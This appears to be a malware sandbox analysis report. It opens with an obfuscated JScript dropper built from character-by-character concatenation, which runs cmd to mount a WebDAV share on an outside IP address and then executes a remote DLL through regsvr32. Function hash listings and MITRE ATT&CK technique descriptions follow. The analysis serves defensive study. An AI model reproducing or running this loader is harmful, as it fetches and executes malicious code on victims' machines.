cblmmvh + oindqeulx + zxqbq + jvaxx + ktqhqp + qxdyfx + jqskgadc + conprmvk + acrinokm + conprmvk + ofjnsbxia + smafnpnc + yptqmnxq + mwncmi + hfgkhke + hfgkhke + hfgkhke + yptqmnxq + acrinokm + jvaxx + yptqmnxq + conprmvk + cblmmvh + zxqbq + djwmv + zxqbq + ofjnsbxia + acrinokm + eoztg + cblmmvh + hdgtouue + zsthedrh + eoztg + zsthedrh + hfgkhke + acrinokm + eoztg + qtwic + hdgtouue + gebyyu + gbeabu + mcyra + mcyra + hfgkhke + acrinokm + oindqeulx + iqkshjqkp + conprmvk + qxdyfx + qxdyfx + acrinokm + jqskgadc + mclcpkxr + zsthedrh + jvaxx + eoztg + oindqeulx + mclcpkxr + zsthedrh + djwmv + acrinokm + jvaxx + yptqmnxq + conprmvk + cblmmvh + zxqbq + djwmv + zxqbq + ofjnsbxia + acrinokm + qtwic + conprmvk + gbeabu + mcyra + ofjnsbxia + zxqbq + acrinokm + jvaxx + jqskgadc + yptqmnxq + qxdyfx + oindqeulx + mcyra + yptqmnxq + acrinokm + conprmvk + ofjnsbxia + smafnpnc + yptqmnxq + mwncmi + hfgkhke + hfgkhke + hfgkhke + yptqmnxq + acrinokm + eoztg + mcyra + iqkshjqkp + mclcpkxr + tqyfu + jqskgadc + smafnpnc + hfgkhke + acrinokm + oindqeulx + iqkshjqkp + conprmvk + qxdyfx + qxdyfx + acrinokm + conprmvk + ofjnsbxia + smafnpnc + yptqmnxq + mwncmi + hfgkhke + hfgkhke + hfgkhke + yptqmnxq + acrinokm + ofjnsbxia + iqkshjqkp + djwmv + djwmv + mcyra + acrinokm + ofjnsbxia + iqkshjqkp + djwmv + djwmv + mcyra + acrinokm + conprmvk + cblmmvh + djwmv + oindqeulx + mwncmi + acrinokm + smafnpnc + ktqhqp + jqskgadc + woscoo + mwncmi + qxdyfx + acrinokm + qtwic + conprmvk + gbeabu + mcyra + ofjnsbxia + zxqbq + acrinokm + yptqmnxq + mclcpkxr + jvaxx + ktqhqp + cblmmvh + acrinokm + conprmvk + cblmmvh + djwmv + oindqeulx + mwncmi + acrinokm + iqkshjqkp + qtwic + mclcpkxr + tqyfu + oindqeulx + ywkps + gebyyu + zxqbq + gebyyu + acrinokm + qtwic + conprmvk + gbeabu + mcyra + ofjnsbxia + zxqbq + acrinokm + yptqmnxq + mclcpkxr + jvaxx + ktqhqp + cblmmvh + acrinokm + conprmvk + cblmmvh + djwmv + oindqeulx + mwncmi + acrinokm + yptqmnxq + mclcpkxr + jvaxx + ktqhqp + cblmmvh + acrinokm + jvaxx + jqskgadc + yptqmnxq + qxdyfx + oindqeulx + mcyra + yptqmnxq + acrinokm + qtwic + conprmvk + gbeabu + mcyra + ofjnsbxia + zxqbq + acrinokm + conprmvk + cblmmvh + djwmv + oindqeulx + mwncmi + acrinokm + zxqbq + jqskgadc + eoztg + ofjnsbxia + gbeabu + mclcpkxr + ktqhqp + acrinokm + qxdyfx + ofjnsbxia + qtwic + zxqbq + yptqmnxq + yptqmnxq + mcyra + hfgkhke + acrinokm + qxdyfx + ofjnsbxia + qtwic + zxqbq + yptqmnxq + yptqmnxq + mcyra + hfgkhke + acrinokm + qxdyfx + ofjnsbxia + qtwic + zxqbq + yptqmnxq + yptqmnxq + mcyra + hfgkhke + acrinokm + qxdyfx + ofjnsbxia + qtwic + zxqbq + yptqmnxq + yptqmnxq + mcyra + hfgkhke + acrinokm + ofjnsbxia + iqkshjqkp + djwmv + djwmv + mcyra + acrinokm + mclcpkxr + gebyyu + tqyfu + jqskgadc + ofjnsbxia + acrinokm + ofjnsbxia + gbeabu + zxqbq + djwmv + smafnpnc + yptqmnxq + iqkshjqkp + zsthedrh + acrinokm + jqskgadc + mclcpkxr + zsthedrh + jvaxx + eoztg + oindqeulx + mclcpkxr + zsthedrh + djwmv + acrinokm + gebyyu + mclcpkxr + woscoo + cblmmvh + mcyra + acrinokm + gebyyu + mclcpkxr + woscoo + cblmmvh + mcyra + acrinokm + gebyyu + mclcpkxr + woscoo + cblmmvh + mcyra + acrinokm + jvaxx + yptqmnxq + conprmvk + cblmmvh + zxqbq + djwmv + zxqbq + ofjnsbxia + acrinokm + hdgtouue + ktqhqp + hfgkhke + conprmvk + ktqhqp + mcyra + acrinokm + hdgtouue + ktqhqp + hfgkhke + conprmvk + ktqhqp + mcyra + acrinokm + hdgtouue + hfgkhke + ktqhqp + woscoo + woscoo + mcyra + acrinokm + ofjnsbxia + iqkshjqkp + djwmv + djwmv + mcyra + acrinokm + conprmvk + cblmmvh + djwmv + oindqeulx + mwncmi + acrinokm + iqkshjqkp + qtwic + mclcpkxr + tqyfu + oindqeulx + ywkps + gebyyu + zxqbq + gebyyu + acrinokm + mwncmi + gebyyu + ofjnsbxia + gebyyu + hdgtouue + acrinokm + qtwic + conprmvk + gbeabu + mcyra + ofjnsbxia + zxqbq + acrinokm + iqkshjqkp + qtwic + mclcpkxr + tqyfu + oindqeulx + ywkps + gebyyu + zxqbq + gebyyu + acrinokm + conprmvk + cblmmvh + djwmv + oindqeulx + mwncmi + acrinokm + eoztg + iqkshjqkp + qxdyfx + gbeabu + smafnpnc + mclcpkxr + tqyfu + mclcpkxr + jqskgadc + acrinokm + jvaxx + jqskgadc + yptqmnxq + qxdyfx + oindqeulx + mcyra + yptqmnxq + acrinokm + yptqmnxq + ktqhqp + qtwic + zxqbq + gbeabu + cblmmvh + ofjnsbxia + ywkps + hfgkhke + acrinokm + eoztg + iqkshjqkp + qxdyfx + gbeabu + smafnpnc + mclcpkxr + tqyfu + mclcpkxr + jqskgadc + acrinokm + jvaxx + jqskgadc + yptqmnxq + qxdyfx + oindqeulx + mcyra + yptqmnxq + acrinokm + qtwic + conprmvk + gbeabu + mcyra + ofjnsbxia + zxqbq + acrinokm + qxdyfx + ofjnsbxia + qtwic + zxqbq + yptqmnxq + yptqmnxq + mcyra + hfgkhke + acrinokm + eoztg + iqkshjqkp + qxdyfx + gbeabu + smafnpnc + mclcpkxr + tqyfu + mclcpkxr + jqskgadc + acrinokm + qtwic + conprmvk + gbeabu + mcyra + ofjnsbxia + zxqbq + acrinokm + yptqmnxq + mclcpkxr + jvaxx + ktqhqp + cblmmvh + acrinokm + mclcpkxr + gebyyu + tqyfu + jqskgadc + ofjnsbxia + acrinokm + yptqmnxq + tqyfu + zxqbq + ofjnsbxia + yptqmnxq + jqskgadc + acrinokm + yptqmnxq + tqyfu + zxqbq + ofjnsbxia + yptqmnxq + jqskgadc + jxhwrfv + ltctg + jxhwrfv + cblmmvh + conprmvk + mwncmi + jvaxx + hfgkhke + jrzvb + nbgxvy );	eval("this[ndffv+dtapbpy+ofjnsbxia+smafnpnc+jqskgadc+djwmv+gebyyu][bixuqcaf+smafnpnc+hfgkhke+conprmvk+gebyyu+hfgkhke+osbypk+ktqhqp+oindqeulx+hfgkhke+ofjnsbxia+gebyyu](ndffv+dtapbpy+ofjnsbxia+smafnpnc+jqskgadc+djwmv+gebyyu+mqsbf+dtapbpy+eoztg+hfgkhke+mwncmi+mwncmi)[smafnpnc+mcyra+zxqbq](ofjnsbxia+yptqmnxq+qtwic+acrmleeem+huvqwire+ofjnsbxia+acrmleeem+ofjnsbxia+yptqmnxq+qtwic+acrmleeem+huvqwire+ofjnsbxia+acrmleeem+zxqbq+hfgkhke+gebyyu+acrmleeem+mcyra+jvaxx+hfgkhke+acrmleeem+cvppu+cvppu+afpjl+rbiylx+daoucn+mqsbf+afpjl+vdqwjztnt+daoucn+mqsbf+afpjl+mqsbf+simxjum+daoucn+afpjl+nihcoqb+xcdnmmue+xcdnmmue+xcdnmmue+xcdnmmue+cvppu+qtwic+conprmvk+iqkshjqkp+tqyfu+tqyfu+tqyfu+smafnpnc+gbeabu+gbeabu+gebyyu+cvppu+qovxi+qovxi+ofjnsbxia+yptqmnxq+qtwic+acrmleeem+huvqwire+ofjnsbxia+acrmleeem+smafnpnc+hfgkhke+hdgtouue+jvaxx+iqkshjqkp+smafnpnc+daoucn+simxjum+acrmleeem+huvqwire+jvaxx+acrmleeem+cvppu+cvppu+afpjl+rbiylx+daoucn+mqsbf+afpjl+vdqwjztnt+daoucn+mqsbf+afpjl+mqsbf+simxjum+daoucn+afpjl+nihcoqb+xcdnmmue+xcdnmmue+xcdnmmue+xcdnmmue+cvppu+qtwic+conprmvk+iqkshjqkp+tqyfu+tqyfu+tqyfu+smafnpnc+gbeabu+gbeabu+gebyyu+cvppu+afpjl+vdqwjztnt+ltctg+daoucn+vdqwjztnt+afpjl+hvxorqwqi+simxjum+mbdnofcze+hvxorqwqi+simxjum+daoucn+xcdnmmue+hvxorqwqi+daoucn+mqsbf+qtwic+mwncmi+mwncmi,0,false);") ➔ 0
2	}
3	ktqhqp = "F";
4	ktqhqp = "b";
5	afpjl = "x";
6	afpjl = "Y";
7	afpjl = "r";
8	afpjl = "1";
9	nihcoqb = "@";
10	hvxorqwqi = "i";
11	hvxorqwqi = "G";
12	hvxorqwqi = "p";
13	hvxorqwqi = "z";
14	hvxorqwqi = "6";
15	xqqrniwzz = "A";
16	xqqrniwzz = "[";
17	conprmvk = "a";
18	daoucn = "3";
19	slaxzev = "]";
20	tqyfu = "l";
21	tqyfu = "x";
22	tqyfu = "w";
23	qxdyfx = "x";
24	vdqwjztnt = "4";
25	djwmv = "y";
26	djwmv = "P";
27	djwmv = "p";
28	nbgxvy = ";";
29	cblmmvh = "i";
30	cblmmvh = "i";
31	cblmmvh = "w";
32	cblmmvh = "f";
33	jrzvb = ")";
34	zxqbq = "n";
35	ywkps = "f";
36	ywkps = "z";
37	ndffv = "P";
38	ndffv = "j";
39	ndffv = "W";
40	mbdnofcze = "K";
41	mbdnofcze = "t";
42	mbdnofcze = "G";
43	mbdnofcze = "h";
44	mbdnofcze = "5";
45	hdgtouue = "g";
46	mcyra = "o";
47	mcyra = "a";
48	mcyra = "b";
49	mcyra = "k";
50	mcyra = "u";
51	iqkshjqkp = "D";
52	iqkshjqkp = "Z";
53	iqkshjqkp = "y";
54	iqkshjqkp = "v";
55	jxhwrfv = ",";
56	smafnpnc = "r";
57	mqsbf = "e";
58	mqsbf = "l";
59	mqsbf = ".";
60	gbeabu = "e";
61	gbeabu = "s";
62	gbeabu = "O";
63	gbeabu = "E";
64	gbeabu = "o";
65	mclcpkxr = "d";
66	mclcpkxr = "W";
67	mclcpkxr = "K";
68	mclcpkxr = "l";
69	mclcpkxr = "q";
70	woscoo = "n";
71	woscoo = "f";
72	woscoo = "p";
73	woscoo = "s";
74	woscoo = "y";
75	cvppu = "d";
76	cvppu = "j";
77	cvppu = "z";
78	cvppu = "\\";
79	dtapbpy = "k";
80	dtapbpy = "M";
81	dtapbpy = "Z";
82	dtapbpy = "l";
83	dtapbpy = "S";
84	qovxi = "N";
85	qovxi = "z";
86	qovxi = "T";
87	qovxi = "I";
88	qovxi = "&";
89	yzkeee = "(";
90	osbypk = "G";
91	osbypk = "O";
92	acrinokm = "P";
93	acrinokm = "J";
94	acrinokm = "j";
95	acrinokm = "q";
96	acrinokm = "+";
97	eoztg = "h";
98	huvqwire = "o";
99	huvqwire = "A";
100	huvqwire = "B";
101	huvqwire = "/";
102	ltctg = "t";
103	ltctg = "o";
104	ltctg = "R";
105	ltctg = "0";
106	mwncmi = "l";
107	mwncmi = "T";
108	mwncmi = "l";
109	oindqeulx = "i";
110	oindqeulx = "L";
111	oindqeulx = "X";
112	oindqeulx = "R";
113	oindqeulx = "j";
114	jvaxx = "H";
115	jvaxx = "s";
116	ofjnsbxia = "K";
117	ofjnsbxia = "c";
118	jqskgadc = "b";
119	jqskgadc = "F";
120	jqskgadc = "P";
121	jqskgadc = "i";
122	rbiylx = "L";
123	rbiylx = "9";
124	qtwic = "d";
125	qtwic = "i";
126	qtwic = "d";
127	yptqmnxq = "m";
128	hfgkhke = "e";
129	simxjum = "2";
130	xcdnmmue = "8";
131	bixuqcaf = "C";
132	gebyyu = "Q";
133	gebyyu = "t";
134	zsthedrh = "k";
135	acrmleeem = "z";
136	acrmleeem = "N";
137	acrmleeem = " ";
138	ftewq ( );	ftewq() ➔ undefined

Reset < >

Analysis Process: regsvr32.exePID: 3144, Parent PID: 6768COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.1%
Total number of Nodes:	849
Total number of Limit Nodes:	4

Executed Functions

Function 024B9A30 Relevance: 9.0, APIs: 2, Strings: 1, Instructions: 3726
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 024B9A73
GetLocaleInfoA.KERNELBASE ref: 024B9E23

Strings

5, xrefs: 024BBAB3

Memory Dump Source

Source File: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 024B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24b1000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateInfoLocaleThread
String ID: 5
API String ID: 899703944-2226203566
Opcode ID: ac61b2cba66e79233cc380a49c31ec76b5bea808db43e292b3db5bd03ea4f0b3
Instruction ID: 07de5a95b22e99ddf12f0ac8f23b6b991b9615b00c88138f4ca53e6b699895cf
Opcode Fuzzy Hash: ac61b2cba66e79233cc380a49c31ec76b5bea808db43e292b3db5bd03ea4f0b3
Instruction Fuzzy Hash: 7F13D46BBA55140BBB0C887A99A33E773C7D3E6719E29F13D89C3C3543DCAA480B0585

Function 024BBDB0 Relevance: 3.2, APIs: 1, Instructions: 1733
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MessageBoxA.USER32 ref: 024BC845

Memory Dump Source

Source File: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 024B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24b1000_regsvr32.jbxd

Yara matches

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: 60d6a659b960b3717680036fba42c66b31b789c7868b512b370437a3548f9c93
Instruction ID: 450f7ebb50b326cb22564a607e9951eb97fa944abc5045b1463df25a7ac55797
Opcode Fuzzy Hash: 60d6a659b960b3717680036fba42c66b31b789c7868b512b370437a3548f9c93
Instruction Fuzzy Hash: CE92B46BBF55000BAB0C88B699A73F363C7D3A6719F29B43D45D7C3152ECAE884B0585

Function 024ED274 Relevance: 1.6, APIs: 1, Instructions: 93
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,?,?,?,?,00000004,024ED36C), ref: 024ED29F

Memory Dump Source

Source File: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 024B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24b1000_regsvr32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 83775a422325cb061dd29d8490b154c16ce4811a866643c6ee45823764a3e1be
Instruction ID: d3b5ce37c2283417ef9ae2db9cb35a03cacf932d78e0636fc4e0f3e6db1d0cb4
Opcode Fuzzy Hash: 83775a422325cb061dd29d8490b154c16ce4811a866643c6ee45823764a3e1be
Instruction Fuzzy Hash: 22312D7090060DCBEF54EFA488846EE77B9FB58306F04463ED41AD7251EB75C584CB91

Non-executed Functions

Function 024E6F30 Relevance: 8.1, Strings: 1, Instructions: 6827
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

vyTn, xrefs: 024EA3D6

Memory Dump Source

Source File: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 024B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24b1000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: vyTn
API String ID: 0-1089316748
Opcode ID: ac73c6055c85f12ac252a6679bea8b96955aaa643fb23d62653498d36e1fd4e8
Instruction ID: 83b7360607afc321c300968fc2e4c6f4e59b82d3c160ac2c9268e70e23e3c234
Opcode Fuzzy Hash: ac73c6055c85f12ac252a6679bea8b96955aaa643fb23d62653498d36e1fd4e8
Instruction Fuzzy Hash: FC73925BBB55100BBB0C887A99A33E323C3D3A6729F29B63D85E3C36D3D85E480B5545

Function 024F98E8 Relevance: 1.8, APIs: 1, Instructions: 321COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 024F9B37

Memory Dump Source

Source File: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 024B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24b1000_regsvr32.jbxd

Yara matches

Similarity

API ID: _clrfp
String ID:
API String ID: 3618594692-0
Opcode ID: 0825bef10224c9187826c5c0cc1e92805fa228d677d99d5450349513bd5de2ce
Instruction ID: 9de0d71a32698c69254166483fc50fffb0cc855f1a24a6c5a74e1e95ab84010b
Opcode Fuzzy Hash: 0825bef10224c9187826c5c0cc1e92805fa228d677d99d5450349513bd5de2ce
Instruction Fuzzy Hash: 6BB14731510B4D8FDB99CF1CC88AB6677E0FF89318F19859AE959CB262C335D892CB01

Function 024EA391 Relevance: 1.8, Strings: 1, Instructions: 504COMMON

Download Yara Rule

Strings

vyTn, xrefs: 024EA3D6

Memory Dump Source

Source File: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 024B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24b1000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: vyTn
API String ID: 0-1089316748
Opcode ID: fee1ff493de0a62dfbd6c4a6402f45fc275154e1010e7b9f75b7645ba25e9ffc
Instruction ID: 0e0587af37ce7e08b7861c1961ff22cf77f3e75db3784ac7eb17134d30e5b0aa
Opcode Fuzzy Hash: fee1ff493de0a62dfbd6c4a6402f45fc275154e1010e7b9f75b7645ba25e9ffc
Instruction Fuzzy Hash: 20C1399BBB8A040B6B0C98BA9C973F726C3D3E5709B1DF13D4997D7246ECAD884B1144

Function 024F2B28 Relevance: .4, Instructions: 365COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 024B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24b1000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c16bb679460c2f365bd65fc238876c35270d3ccb8e22677241c934e6b682caf3
Instruction ID: 01c0d64119c488a2a7bc4cbbb649606a4a13cf9d0acb045f7f12e45478e663b3
Opcode Fuzzy Hash: c16bb679460c2f365bd65fc238876c35270d3ccb8e22677241c934e6b682caf3
Instruction Fuzzy Hash: EBB12A30618F484FDB69DF3C988567E77E2FBC4710F54465FD986C3295DBA098428B82

Function 024F29A4 Relevance: .3, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 024B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24b1000_regsvr32.jbxd

Yara matches

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ae3c69de23f64a5eb9535b7f532c30bd7227b1e0e72a963f417f84bb1cc622e0
Instruction ID: 0bfe303e5853c5a77ae8603532c4a43b67a3ff71372ab3af40070a24e057f82d
Opcode Fuzzy Hash: ae3c69de23f64a5eb9535b7f532c30bd7227b1e0e72a963f417f84bb1cc622e0
Instruction Fuzzy Hash: AC91F63061CF4C4FD7A8EF3D984927AB7D2FBC5710F50465FD99AC3251EAA098428B82

Function 024EDA00 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 024B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24b1000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f629496b896a9729be065d4d22f8e3c8e85d13c0d28e00766ea6a5fa37adc5c
Instruction ID: e7a2b75eb07dbe612bac1303fb9338f0d3115e421c7ac6d29df94913575e8caf
Opcode Fuzzy Hash: 4f629496b896a9729be065d4d22f8e3c8e85d13c0d28e00766ea6a5fa37adc5c
Instruction Fuzzy Hash: E251E232718E088F9B5CDF6CD49867573D2E7EC311315822EE40AD7265DA70E9468785

Function 024F6C48 Relevance: 12.7, APIs: 4, Strings: 3, Instructions: 463
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 024F6CA4

Part of subcall function 024F6070: __GetUnwindTryBlock.LIBCMT ref: 024F60B3
Part of subcall function 024F6070: __SetUnwindTryBlock.LIBVCRUNTIME ref: 024F60D8

Is_bad_exception_allowed.LIBVCRUNTIME ref: 024F6D7C
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 024F6FCB
std::bad_alloc::bad_alloc.LIBCMT ref: 024F70D7

Strings

csm, xrefs: 024F6D25
csm, xrefs: 024F6CBE
csm, xrefs: 024F6D9F

Memory Dump Source

Source File: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 024B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24b1000_regsvr32.jbxd

Yara matches

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: e8baff4eaddff286641c296b0cc926b9b4bc7b24fb057b1799d8bb4c2e678a60
Instruction ID: 657e981fe50b2286da78c2f715837a3c7127fc7551b3ba8142dc5105ad97cad6
Opcode Fuzzy Hash: e8baff4eaddff286641c296b0cc926b9b4bc7b24fb057b1799d8bb4c2e678a60
Instruction Fuzzy Hash: C8E1AF30A18B088FDBA4EF69C4856AAB7E1FF98314F50065FD55AD7315DB34E481CB82

Function 024F6608 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 202
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 024F6A38
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 024F6B20

Strings

csm, xrefs: 024F6A5A
csm, xrefs: 024F6B72

Memory Dump Source

Source File: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 024B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24b1000_regsvr32.jbxd

Yara matches

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b5fe93b38fdbb449a8dcda3059ceade28013aff72cb2c9cf4c45be8ccc589a34
Instruction ID: 355f1aea7b79f26529bb4e029fe2b1867ab66d20d8cfcdd3e9798b61cc9aa3e0
Opcode Fuzzy Hash: b5fe93b38fdbb449a8dcda3059ceade28013aff72cb2c9cf4c45be8ccc589a34
Instruction Fuzzy Hash: B461D030618B498FCBA8DF288084326B7E5FBD8315F65865FDAA9C7755DB30D881CB42

Function 024F6750 Relevance: 6.3, APIs: 4, Instructions: 309
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__AdjustPointer.LIBCMT ref: 024F6873
__AdjustPointer.LIBCMT ref: 024F68BE
__AdjustPointer.LIBCMT ref: 024F6995

Memory Dump Source

Source File: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 024B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24b1000_regsvr32.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: af3458985603ad7ce2524011c1902c71dc37048d60be4bde5190f5d8f215ae27
Instruction ID: 86769753040310155e8062292c69b6b1ca8c442cfd933ea69fd2cf4647a8d4f6
Opcode Fuzzy Hash: af3458985603ad7ce2524011c1902c71dc37048d60be4bde5190f5d8f215ae27
Instruction Fuzzy Hash: A2810730119E1A8FDBADEF6D8050676B3E5FBD8314B66066FC96AC3255DB30D881CB81

Function 024ECB50 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 233
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 024ECB7B
_IsNonwritableInCurrentImage.LIBCMT ref: 024ECC12

Strings

csm, xrefs: 024ECBF9

Memory Dump Source

Source File: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 024B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24b1000_regsvr32.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: 28f9c21a248c6750ff56b9987a7044b6f6882288d8c0aceccd40688c18a955a4
Instruction ID: 21f65210704287dbfd364e03c5236da98d969685ad8826d8c70d72d2b85a8a15
Opcode Fuzzy Hash: 28f9c21a248c6750ff56b9987a7044b6f6882288d8c0aceccd40688c18a955a4
Instruction Fuzzy Hash: 2A61E530208A088BEF28EF5CD4C5A7977D1FB45356B10456FE887C3266EB35E891CB85

Function 024F71EC Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 233
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_CallSETranslator.LIBVCRUNTIME ref: 024F7297

Strings

MOC, xrefs: 024F725F
RCC, xrefs: 024F7267

Memory Dump Source

Source File: 0000000B.00000002.2270841882.00000000024B1000.00000040.00001000.00020000.00000000.sdmp, Offset: 024B1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_24b1000_regsvr32.jbxd

Yara matches

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 2b0857dc7f466c401f9652ed94ee3215145e256993a502d5bc3a495471cbec0f
Instruction ID: c3e4cbe0eab8ada18c52ffa91b718d82f5baf51e994775c43004aed6bd6e0cea
Opcode Fuzzy Hash: 2b0857dc7f466c401f9652ed94ee3215145e256993a502d5bc3a495471cbec0f
Instruction Fuzzy Hash: A5717E30518B488FDBA5EF1CC446BAAB7E0FBD9314F044A5EE589C3211DB78E581CB86

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Module: Module Load, Network Traffic: Network Connection Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

